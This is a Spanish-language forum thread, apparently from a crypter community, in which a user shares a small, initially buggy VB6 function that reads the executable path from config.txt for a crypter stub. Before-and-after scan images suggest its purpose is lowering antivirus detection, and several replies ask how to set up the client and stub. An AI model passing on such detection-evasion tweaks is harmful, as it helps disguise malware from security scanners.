Página 1 de 1

Alternativa App.Path & "\" & App.EXEName & ".exe"

Publicado: 04 May 2015, 22:55
por Zarco
Buenas, como veo que hay pocos tips en source vengo a dejar uno hecho por mi, creo que nadie mas lo a publicado, es bastante facil, simplemente hace la función de leer la ruta del ejecutable que va a encriptar en un archivo .txt, para eso primero tienes que modificar el cliente para que guarde la ruta en un text, os dejo la función

Public Function Alter()
Open App.Path + "config.txt" For Input As #1
Input #1, a$
Close #1
Alter = a$
Exit Sub
End Function


Uso: Variable_Ruta = Alter


La ruta tiene que estar en el archivo "config.txt", espero que comentéis agradeciendo y no seáis desagradecidos.


Scan antes:

Imagen



Scan después:

Imagen

Re: Alternativa App.Path & "\" & App.EXEName & ".exe"

Publicado: 04 May 2015, 23:44
por Roda
Gracias por compartir....

Re: Alternativa App.Path & "\" & App.EXEName & ".exe"

Publicado: 05 May 2015, 10:02
por rafaxxD
Me podrias explicar un poco mejor como he de hacerlo, por mp si puede ser... Gracias^^

Re: Alternativa App.Path & "\" & App.EXEName & ".exe"

Publicado: 05 May 2015, 14:24
por die595tack067
Gracias por compartir y por la explicacion.

Saludos ;)

Re: Alternativa App.Path & "\" & App.EXEName & ".exe"

Publicado: 05 May 2015, 14:43
por Zarco
En la función hay un fallo, en la linea Open App.Path + "config.txt" For Input As #1, no añadi el "\" al config, quedaría asi; Open App.Path + "\config.txt" For Input As #1.

Re: Alternativa App.Path & "\" & App.EXEName & ".exe"

Publicado: 06 May 2015, 15:16
por daniellorg
Muy Bueno !
Cómo debo configurar el cliente ?
Saludos !

Re: Alternativa App.Path & "\" & App.EXEName & ".exe"

Publicado: 06 May 2015, 20:41
por panda ole
gracias!!
pero tengo un error
Imagen


Entiendo la necesidad de escribir en la ruta de configuración para Stab? y esta es una ruta alternativa para el stub ?
Gracias

Re: Alternativa App.Path & "\" & App.EXEName & ".exe"

Publicado: 07 May 2015, 01:32
por Blau
panda ole escribió:gracias!!
pero tengo un error
Imagen


Entiendo la necesidad de escribir en la ruta de configuración para Stab? y esta es una ruta alternativa para el stub ?
Gracias
Simplemente borra esa línea (Exit Sub).

Re: Alternativa App.Path & "\" & App.EXEName & ".exe"

Publicado: 07 May 2015, 04:30
por __ws
Buen aporte!

Saludos

Re: Alternativa App.Path & "\" & App.EXEName & ".exe"

Publicado: 07 May 2015, 14:45
por panda ole
Blau escribió:
panda ole escribió:gracias!!
pero tengo un error
Imagen


Entiendo la necesidad de escribir en la ruta de configuración para Stab? y esta es una ruta alternativa para el stub ?
Gracias
Simplemente borra esa línea (Exit Sub).
Gracias.
eliminado exit stub, adicional ruta en config.txt, pero después file cryptato fa error 9,

como debo configurar cliente ? gracias